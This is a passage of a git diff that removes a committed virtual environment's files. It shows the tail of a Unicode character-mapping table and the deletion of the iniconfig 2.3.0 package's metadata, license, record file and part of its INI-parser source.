"j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - None, - "c", - "d", - None, - "g", - None, - "j", - "k", - None, - "n", - "o", - "p", - "q", - None, - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - None, - "f", - None, - "h", - "i", - "j", - "k", - "l", - "m", - "n", - None, - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - None, - "d", - "e", - "f", - "g", - None, - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - None, - "s", - "t", - "u", - "v", - "w", - "x", - "y", - None, - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - None, - "d", - "e", - "f", - "g", - None, - "i", - "j", - "k", - "l", - "m", - None, - "o", - None, - "s", - "t", - "u", - "v", - "w", - "x", - "y", - None, - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "ı", - "ȷ", - None, - "α", - "β", - "γ", - "δ", - "ε", - "ζ", - "η", - "θ", - "ι", - "κ", - "λ", - "μ", - "ν", - "ξ", - "ο", - "π", - "ρ", - "θ", - "σ", - "τ", - "υ", - "φ", - "χ", - "ψ", - "ω", - "∇", - "α", - "β", - "γ", - "δ", - "ε", - "ζ", - "η", - "θ", - "ι", - "κ", - "λ", - "μ", - "ν", - "ξ", - "ο", - "π", - "ρ", - "σ", - "τ", - "υ", - "φ", - "χ", - "ψ", - "ω", - "∂", - "ε", - "θ", - "κ", - "φ", - "ρ", - "π", - "α", - "β", - "γ", - "δ", - "ε", - "ζ", - "η", - "θ", - "ι", - "κ", - "λ", - "μ", - "ν", - "ξ", - "ο", - "π", - "ρ", - "θ", - "σ", - "τ", - "υ", - "φ", - "χ", - "ψ", - "ω", - "∇", - "α", - "β", - "γ", - "δ", - "ε", - "ζ", - "η", - "θ", - "ι", - "κ", - "λ", - "μ", - "ν", - "ξ", - "ο", - "π", - "ρ", - "σ", - "τ", - "υ", - "φ", - "χ", - "ψ", - "ω", - "∂", - "ε", - "θ", - "κ", - "φ", - "ρ", - "π", - "α", - "β", - "γ", - "δ", - "ε", - "ζ", - "η", - "θ", - "ι", - "κ", - "λ", - "μ", - "ν", - "ξ", - "ο", - "π", - "ρ", - "θ", - "σ", - "τ", - "υ", - "φ", - "χ", - "ψ", - "ω", - "∇", - "α", - "β", - "γ", - "δ", - "ε", - "ζ", - "η", - "θ", - "ι", - "κ", - "λ", - "μ", - "ν", - "ξ", - "ο", - "π", - "ρ", - "σ", - "τ", - "υ", - "φ", - "χ", - "ψ", - "ω", - "∂", - "ε", - "θ", - "κ", - "φ", - "ρ", - "π", - "α", - "β", - "γ", - "δ", - "ε", - "ζ", - "η", - "θ", - "ι", - "κ", - "λ", - "μ", - "ν", - "ξ", - "ο", - "π", - "ρ", - "θ", - "σ", - "τ", - "υ", - "φ", - "χ", - "ψ", - "ω", - "∇", - "α", - "β", - "γ", - "δ", - "ε", - "ζ", - "η", - "θ", - "ι", - "κ", - "λ", - "μ", - "ν", - "ξ", - "ο", - "π", - "ρ", - "σ", - "τ", - "υ", - "φ", - "χ", - "ψ", - "ω", - "∂", - "ε", - "θ", - "κ", - "φ", - "ρ", - "π", - "α", - "β", - "γ", - "δ", - "ε", - "ζ", - "η", - "θ", - "ι", - "κ", - "λ", - "μ", - "ν", - "ξ", - "ο", - "π", - "ρ", - "θ", - "σ", - "τ", - "υ", - "φ", - "χ", - "ψ", - "ω", - "∇", - "α", - "β", - "γ", - "δ", - "ε", - "ζ", - "η", - "θ", - "ι", - "κ", - "λ", - "μ", - "ν", - "ξ", - "ο", - "π", - "ρ", - "σ", - "τ", - "υ", - "φ", - "χ", - "ψ", - "ω", - "∂", - "ε", - "θ", - "κ", - "φ", - "ρ", - "π", - "ϝ", - None, - "0", - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "0", - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "0", - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "0", - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "0", - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "а", - "б", - "в", - "г", - "д", - "е", - "ж", - "з", - "и", - "к", - "л", - "м", - "о", - "п", - "р", - "с", - "т", - "у", - "ф", - "х", - "ц", - "ч", - "ш", - "ы", - "э", - "ю", - "ꚉ", - "ә", - "і", - "ј", - "ө", - "ү", - "ӏ", - "а", - "б", - "в", - "г", - "д", - "е", - "ж", - "з", - "и", - "к", - "л", - "о", - "п", - "с", - "у", - "ф", - "х", - "ц", - "ч", - "ш", - "ъ", - "ы", - "ґ", - "і", - "ѕ", - "џ", - "ҫ", - "ꙑ", - "ұ", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "𞤢", - "𞤣", - "𞤤", - "𞤥", - "𞤦", - "𞤧", - "𞤨", - "𞤩", - "𞤪", - "𞤫", - "𞤬", - "𞤭", - "𞤮", - "𞤯", - "𞤰", - "𞤱", - "𞤲", - "𞤳", - "𞤴", - "𞤵", - "𞤶", - "𞤷", - "𞤸", - "𞤹", - "𞤺", - "𞤻", - "𞤼", - "𞤽", - "𞤾", - "𞤿", - "𞥀", - "𞥁", - "𞥂", - "𞥃", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "ا", - "ب", - "ج", - "د", - None, - "و", - "ز", - "ح", - "ط", - "ي", - "ك", - "ل", - "م", - "ن", - "س", - "ع", - "ف", - "ص", - "ق", - "ر", - "ش", - "ت", - "ث", - "خ", - "ذ", - "ض", - "ظ", - "غ", - "ٮ", - "ں", - "ڡ", - "ٯ", - None, - "ب", - "ج", - None, - "ه", - None, - "ح", - None, - "ي", - "ك", - "ل", - "م", - "ن", - "س", - "ع", - "ف", - "ص", - "ق", - None, - "ش", - "ت", - "ث", - "خ", - None, - "ض", - None, - "غ", - None, - "ج", - None, - "ح", - None, - "ي", - None, - "ل", - None, - "ن", - "س", - "ع", - None, - "ص", - "ق", - None, - "ش", - None, - "خ", - None, - "ض", - None, - "غ", - None, - "ں", - None, - "ٯ", - None, - "ب", - "ج", - None, - "ه", - None, - "ح", - "ط", - "ي", - "ك", - None, - "م", - "ن", - "س", - "ع", - "ف", - "ص", - "ق", - None, - "ش", - "ت", - "ث", - "خ", - None, - "ض", - "ظ", - "غ", - "ٮ", - None, - "ڡ", - None, - "ا", - "ب", - "ج", - "د", - "ه", - "و", - "ز", - "ح", - "ط", - "ي", - None, - "ل", - "م", - "ن", - "س", - "ع", - "ف", - "ص", - "ق", - "ر", - "ش", - "ت", - "ث", - "خ", - "ذ", - "ض", - "ظ", - "غ", - None, - "ب", - "ج", - "د", - None, - "و", - "ز", - "ح", - "ط", - "ي", - None, - "ل", - "م", - "ن", - "س", - "ع", - "ف", - "ص", - "ق", - "ر", - "ش", - "ت", - "ث", - "خ", - "ذ", - "ض", - "ظ", - "غ", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "0,", - "1,", - "2,", - "3,", - "4,", - "5,", - "6,", - "7,", - "8,", - "9,", - None, - "(a)", - "(b)", - "(c)", - "(d)", - "(e)", - "(f)", - "(g)", - "(h)", - "(i)", - "(j)", - "(k)", - "(l)", - "(m)", - "(n)", - "(o)", - "(p)", - "(q)", - "(r)", - "(s)", - "(t)", - "(u)", - "(v)", - "(w)", - "(x)", - "(y)", - "(z)", - "〔s〕", - "c", - "r", - "cd", - "wz", - None, - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "hv", - "mv", - "sd", - "ss", - "ppv", - "wc", - None, - "mc", - "md", - "mr", - None, - "dj", - None, - None, - None, - "ほか", - "ココ", - "サ", - None, - "手", - "字", - "双", - "デ", - "二", - "多", - "解", - "天", - "交", - "映", - "無", - "料", - "前", - "後", - "再", - "新", - "初", - "終", - "生", - "販", - "声", - "吹", - "演", - "投", - "捕", - "一", - "三", - "遊", - "左", - "中", - "右", - "指", - "走", - "打", - "禁", - "空", - "合", - "満", - "有", - "月", - "申", - "割", - "営", - "配", - None, - "〔本〕", - "〔三〕", - "〔二〕", - "〔安〕", - "〔点〕", - "〔打〕", - "〔盗〕", - "〔勝〕", - "〔敗〕", - None, - "得", - "可", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "0", - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "丽", - "丸", - "乁", - "𠄢", - "你", - "侮", - "侻", - "倂", - "偺", - "備", - "僧", - "像", - "㒞", - "𠘺", - "免", - "兔", - "兤", - "具", - "𠔜", - "㒹", - "內", - "再", - "𠕋", - "冗", - "冤", - "仌", - "冬", - "况", - "𩇟", - "凵", - "刃", - "㓟", - "刻", - "剆", - "割", - "剷", - "㔕", - "勇", - "勉", - "勤", - "勺", - "包", - "匆", - "北", - "卉", - "卑", - "博", - "即", - "卽", - "卿", - "𠨬", - "灰", - "及", - "叟", - "𠭣", - "叫", - "叱", - "吆", - "咞", - "吸", - "呈", - "周", - "咢", - "哶", - "唐", - "啓", - "啣", - "善", - "喙", - "喫", - "喳", - "嗂", - "圖", - "嘆", - "圗", - "噑", - "噴", - "切", - "壮", - "城", - "埴", - "堍", - "型", - "堲", - "報", - "墬", - "𡓤", - "売", - "壷", - "夆", - "多", - "夢", - "奢", - "𡚨", - "𡛪", - "姬", - "娛", - "娧", - "姘", - "婦", - "㛮", - "㛼", - "嬈", - "嬾", - "𡧈", - "寃", - "寘", - "寧", - "寳", - "𡬘", - "寿", - "将", - "当", - "尢", - "㞁", - "屠", - "屮", - "峀", - "岍", - "𡷤", - "嵃", - "𡷦", - "嵮", - "嵫", - "嵼", - "巡", - "巢", - "㠯", - "巽", - "帨", - "帽", - "幩", - "㡢", - "𢆃", - "㡼", - "庰", - "庳", - "庶", - "廊", - "𪎒", - "廾", - "𢌱", - "舁", - "弢", - "㣇", - "𣊸", - "𦇚", - "形", - "彫", - "㣣", - "徚", - "忍", - "志", - "忹", - "悁", - "㤺", - "㤜", - "悔", - "𢛔", - "惇", - "慈", - "慌", - "慎", - "慌", - "慺", - "憎", - "憲", - "憤", - "憯", - "懞", - "懲", - "懶", - "成", - "戛", - "扝", - "抱", - "拔", - "捐", - "𢬌", - "挽", - "拼", - "捨", - "掃", - "揤", - "𢯱", - "搢", - "揅", - "掩", - "㨮", - "摩", - "摾", - "撝", - "摷", - "㩬", - "敏", - "敬", - "𣀊", - "旣", - "書", - "晉", - "㬙", - "暑", - "㬈", - "㫤", - "冒", - "冕", - "最", - "暜", - "肭", - "䏙", - "朗", - "望", - "朡", - "杞", - "杓", - "𣏃", - "㭉", - "柺", - "枅", - "桒", - "梅", - "𣑭", - "梎", - "栟", - "椔", - "㮝", - "楂", - "榣", - "槪", - "檨", - "𣚣", - "櫛", - "㰘", - "次", - "𣢧", - "歔", - "㱎", - "歲", - "殟", - "殺", - "殻", - "𣪍", - "𡴋", - "𣫺", - "汎", - "𣲼", - "沿", - "泍", - "汧", - "洖", - "派", - "海", - "流", - "浩", - "浸", - "涅", - "𣴞", - "洴", - "港", - "湮", - "㴳", - "滋", - "滇", - "𣻑", - "淹", - "潮", - "𣽞", - "𣾎", - "濆", - "瀹", - "瀞", - "瀛", - "㶖", - "灊", - "災", - "灷", - "炭", - "𠔥", - "煅", - "𤉣", - "熜", - "𤎫", - "爨", - "爵", - "牐", - "𤘈", - "犀", - "犕", - "𤜵", - "𤠔", - "獺", - "王", - "㺬", - "玥", - "㺸", - "瑇", - "瑜", - "瑱", - "璅", - "瓊", - "㼛", - "甤", - "𤰶", - "甾", - "𤲒", - "異", - "𢆟", - "瘐", - "𤾡", - "𤾸", - "𥁄", - "㿼", - "䀈", - "直", - "𥃳", - "𥃲", - "𥄙", - "𥄳", - "眞", - "真", - "睊", - "䀹", - "瞋", - "䁆", - "䂖", - "𥐝", - "硎", - "碌", - "磌", - "䃣", - "𥘦", - "祖", - "𥚚", - "𥛅", - "福", - "秫", - "䄯", - "穀", - "穊", - "穏", - "𥥼", - "𥪧", - "竮", - "䈂", - "𥮫", - "篆", - "築", - "䈧", - "𥲀", - "糒", - "䊠", - "糨", - "糣", - "紀", - "𥾆", - "絣", - "䌁", - "緇", - "縂", - "繅", - "䌴", - "𦈨", - "𦉇", - "䍙", - "𦋙", - "罺", - "𦌾", - "羕", - "翺", - "者", - "𦓚", - "𦔣", - "聠", - "𦖨", - "聰", - "𣍟", - "䏕", - "育", - "脃", - "䐋", - "脾", - "媵", - "𦞧", - "𦞵", - "𣎓", - "𣎜", - "舁", - "舄", - "辞", - "䑫", - "芑", - "芋", - "芝", - "劳", - "花", - "芳", - "芽", - "苦", - "𦬼", - "若", - "茝", - "荣", - "莭", - "茣", - "莽", - "菧", - "著", - "荓", - "菊", - "菌", - "菜", - "𦰶", - "𦵫", - "𦳕", - "䔫", - "蓱", - "蓳", - "蔖", - "𧏊", - "蕤", - "𦼬", - "䕝", - "䕡", - "𦾱", - "𧃒", - "䕫", - "虐", - "虜", - "虧", - "虩", - "蚩", - "蚈", - "蜎", - "蛢", - "蝹", - "蜨", - "蝫", - "螆", - "䗗", - "蟡", - "蠁", - "䗹", - "衠", - "衣", - "𧙧", - "裗", - "裞", - "䘵", - "裺", - "㒻", - "𧢮", - "𧥦", - "䚾", - "䛇", - "誠", - "諭", - "變", - "豕", - "𧲨", - "貫", - "賁", - "贛", - "起", - "𧼯", - "𠠄", - "跋", - "趼", - "跰", - "𠣞", - "軔", - "輸", - "𨗒", - "𨗭", - "邔", - "郱", - "鄑", - "𨜮", - "鄛", - "鈸", - "鋗", - "鋘", - "鉼", - "鏹", - "鐕", - "𨯺", - "開", - "䦕", - "閷", - "𨵷", - "䧦", - "雃", - "嶲", - "霣", - "𩅅", - "𩈚", - "䩮", - "䩶", - "韠", - "𩐊", - "䪲", - "𩒖", - "頋", - "頩", - "𩖶", - "飢", - "䬳", - "餩", - "馧", - "駂", - "駾", - "䯎", - "𩬰", - "鬒", - "鱀", - "鳽", - "䳎", - "䳭", - "鵧", - "𪃎", - "䳸", - "𪄅", - "𪈎", - "𪊑", - "麻", - "䵖", - "黹", - "黾", - "鼅", - "鼏", - "鼖", - "鼻", - "𪘀", - None, - None, - None, - None, - None, - None, - None, -) diff --git a/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/INSTALLER b/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/METADATA b/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/METADATA deleted file mode 100644 index fc3c00df97bbf6e38be40ce7bec8e9d136d18214..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/METADATA +++ /dev/null @@ -1,79 +0,0 @@ -Metadata-Version: 2.4 -Name: iniconfig -Version: 2.3.0 -Summary: brain-dead simple config-ini parsing -Author-email: Ronny Pfannschmidt , Holger Krekel -License-Expression: MIT -Project-URL: Homepage, https://github.com/pytest-dev/iniconfig -Classifier: Development Status :: 4 - Beta -Classifier: Intended Audience :: Developers -Classifier: Operating System :: MacOS :: MacOS X -Classifier: Operating System :: Microsoft :: Windows -Classifier: Operating System :: POSIX -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Topic :: Software Development :: Libraries -Classifier: Topic :: Utilities -Requires-Python: >=3.10 -Description-Content-Type: text/x-rst -License-File: LICENSE -Dynamic: license-file - -iniconfig: brain-dead simple parsing of ini files -======================================================= - -iniconfig is a small and simple INI-file parser module -having a unique set of features: - -* maintains order of sections and entries -* supports multi-line values with or without line-continuations -* supports "#" comments everywhere -* raises errors with proper line-numbers -* no bells and whistles like automatic substitutions -* iniconfig raises an Error if two sections have the same name. - -If you encounter issues or have feature wishes please report them to: - - https://github.com/RonnyPfannschmidt/iniconfig/issues - -Basic Example -=================================== - -If you have an ini file like this: - -.. code-block:: ini - - # content of example.ini - [section1] # comment - name1=value1 # comment - name1b=value1,value2 # comment - - [section2] - name2= - line1 - line2 - -then you can do: - -.. code-block:: pycon - - >>> import iniconfig - >>> ini = iniconfig.IniConfig("example.ini") - >>> ini['section1']['name1'] # raises KeyError if not exists - 'value1' - >>> ini.get('section1', 'name1b', [], lambda x: x.split(",")) - ['value1', 'value2'] - >>> ini.get('section1', 'notexist', [], lambda x: x.split(",")) - [] - >>> [x.name for x in list(ini)] - ['section1', 'section2'] - >>> list(list(ini)[0].items()) - [('name1', 'value1'), ('name1b', 'value1,value2')] - >>> 'section1' in ini - True - >>> 'inexistendsection' in ini - False diff --git a/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/RECORD b/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/RECORD deleted file mode 100644 index 3316a1e95fd2ee40cff22bab93ce2c3586ae3089..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/RECORD +++ /dev/null @@ -1,15 +0,0 @@ -iniconfig-2.3.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -iniconfig-2.3.0.dist-info/METADATA,sha256=QNdz-E5OES9JW79PG-nL0tRWwK6271MR910b8yLyFls,2526 -iniconfig-2.3.0.dist-info/RECORD,, -iniconfig-2.3.0.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91 -iniconfig-2.3.0.dist-info/licenses/LICENSE,sha256=NAn6kfes5VeJRjJnZlbjImT-XvdYFTVyXcmiN3RVG9Q,1098 -iniconfig-2.3.0.dist-info/top_level.txt,sha256=7KfM0fugdlToj9UW7enKXk2HYALQD8qHiyKtjhSzgN8,10 -iniconfig/__init__.py,sha256=XL5eqUYj4mskAOorZ5jfRAinJvJzTI-fJxpP4xfXtaw,7497 -iniconfig/__pycache__/__init__.cpython-314.pyc,, -iniconfig/__pycache__/_parse.cpython-314.pyc,, -iniconfig/__pycache__/_version.cpython-314.pyc,, -iniconfig/__pycache__/exceptions.cpython-314.pyc,, -iniconfig/_parse.py,sha256=5ncBl7MAQiaPNnpRrs9FR4t6G6DkgOUs458OY_1CR28,5223 -iniconfig/_version.py,sha256=KNFYe-Vtdt7Z-oHyl8jmDAQ9qXoCNMAEXigj6BR1QUI,704 -iniconfig/exceptions.py,sha256=mipQ_aMxD9CvSvFWN1oTXY4QuRnKAMZ1f3sCdmjDTU0,399 -iniconfig/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 diff --git a/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/WHEEL b/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/WHEEL deleted file mode 100644 index e7fa31b6f3f78deb1022c1f7927f07d4d16da822..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (80.9.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/licenses/LICENSE b/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/licenses/LICENSE deleted file mode 100644 index 46f4b2846fd708ecb81b2d665434ce6379aa1101..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/licenses/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2010 - 2023 Holger Krekel and others - -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies -of the Software, and to permit persons to whom the Software is furnished to do -so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/top_level.txt b/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/top_level.txt deleted file mode 100644 index 9dda53692d2f44a97392cae823f8163d55ad4549..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/iniconfig-2.3.0.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -iniconfig diff --git a/venv/Lib/site-packages/iniconfig/__init__.py b/venv/Lib/site-packages/iniconfig/__init__.py deleted file mode 100644 index b84809f8e9dc0db6fba3505fcc29ca26c3383cce..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/iniconfig/__init__.py +++ /dev/null @@ -1,249 +0,0 @@ -"""brain-dead simple parser for ini-style files. -(C) Ronny Pfannschmidt, Holger Krekel -- MIT licensed -""" - -import os -from collections.abc import Callable -from collections.abc import Iterator -from collections.abc import Mapping -from typing import Final -from typing import TypeVar -from typing import overload - -__all__ = ["IniConfig", "ParseError", "COMMENTCHARS", "iscommentline"] - -from . import _parse -from ._parse import COMMENTCHARS -from ._parse import iscommentline -from .exceptions import ParseError - -_D = TypeVar("_D") -_T = TypeVar("_T") - - -class SectionWrapper: - config: Final["IniConfig"] - name: Final[str] - - def __init__(self, config: "IniConfig", name: str) -> None: - self.config = config - self.name = name - - def lineof(self, name: str) -> int | None: - return self.config.lineof(self.name, name) - - @overload - def get(self, key: str) -> str | None: ... - - @overload - def get( - self, - key: str, - convert: Callable[[str], _T], - ) -> _T | None: ... - - @overload - def get( - self, - key: str, - default: None, - convert: Callable[[str], _T], - ) -> _T | None: ... - - @overload - def get(self, key: str, default: _D, convert: None = None) -> str | _D: ... - - @overload - def get( - self, - key: str, - default: _D, - convert: Callable[[str], _T], - ) -> _T | _D: ... - - # TODO: investigate possible mypy bug wrt matching the passed over data - def get( # type: ignore [misc] - self, - key: str, - default: _D | None = None, - convert: Callable[[str], _T] | None = None, - ) -> _D | _T | str | None: - return self.config.get(self.name, key, convert=convert, default=default) - - def __getitem__(self, key: str) -> str: - return self.config.sections[self.name][key] - - def __iter__(self) -> Iterator[str]: - section: Mapping[str, str] = self.config.sections.get(self.name, {}) - - def lineof(key: str) -> int: - return self.config.lineof(self.name, key) # type: ignore[return-value] - - yield from sorted(section, key=lineof) - - def items(self) -> Iterator[tuple[str, str]]: - for name in self: - yield name, self[name] - - -class IniConfig: - path: Final[str] - sections: Final[Mapping[str, Mapping[str, str]]] - _sources: Final[Mapping[tuple[str, str | None], int]] - - def __init__( - self, - path: str | os.PathLike[str], - data: str | None = None, - encoding: str = "utf-8", - *, - _sections: Mapping[str, Mapping[str, str]] | None = None, - _sources: Mapping[tuple[str, str | None], int] | None = None, - ) -> None: - self.path = os.fspath(path) - - # Determine sections and sources - if _sections is not None and _sources is not None: - # Use provided pre-parsed data (called from parse()) - sections_data = _sections - sources = _sources - else: - # Parse the data (backward compatible path) - if data is None: - with open(self.path, encoding=encoding) as fp: - data = fp.read() - - # Use old behavior (no stripping) for backward compatibility - sections_data, sources = _parse.parse_ini_data( - self.path, data, strip_inline_comments=False - ) - - # Assign once to Final attributes - self._sources = sources - self.sections = sections_data - - @classmethod - def parse( - cls, - path: str | os.PathLike[str], - data: str | None = None, - encoding: str = "utf-8", - *, - strip_inline_comments: bool = True, - strip_section_whitespace: bool = False, - ) -> "IniConfig": - """Parse an INI file. - - Args: - path: Path to the INI file (used for error messages) - data: Optional INI content as string. If None, reads from path. - encoding: Encoding to use when reading the file (default: utf-8) - strip_inline_comments: Whether to strip inline comments from values - (default: True). When True, comments starting with # or ; are - removed from values, matching the behavior for section comments. - strip_section_whitespace: Whether to strip whitespace from section and key names - (default: False). When True, strips Unicode whitespace from section and key names, - addressing issue #4. When False, preserves existing behavior for backward compatibility. - - Returns: - IniConfig instance with parsed configuration - - Example: - # With comment stripping (default): - config = IniConfig.parse("setup.cfg") - # value = "foo" instead of "foo # comment" - - # Without comment stripping (old behavior): - config = IniConfig.parse("setup.cfg", strip_inline_comments=False) - # value = "foo # comment" - - # With section name stripping (opt-in for issue #4): - config = IniConfig.parse("setup.cfg", strip_section_whitespace=True) - # section names and keys have Unicode whitespace stripped - """ - fspath = os.fspath(path) - - if data is None: - with open(fspath, encoding=encoding) as fp: - data = fp.read() - - sections_data, sources = _parse.parse_ini_data( - fspath, - data, - strip_inline_comments=strip_inline_comments, - strip_section_whitespace=strip_section_whitespace, - ) - - # Call constructor with pre-parsed sections and sources - return cls(path=fspath, _sections=sections_data, _sources=sources) - - def lineof(self, section: str, name: str | None = None) -> int | None: - 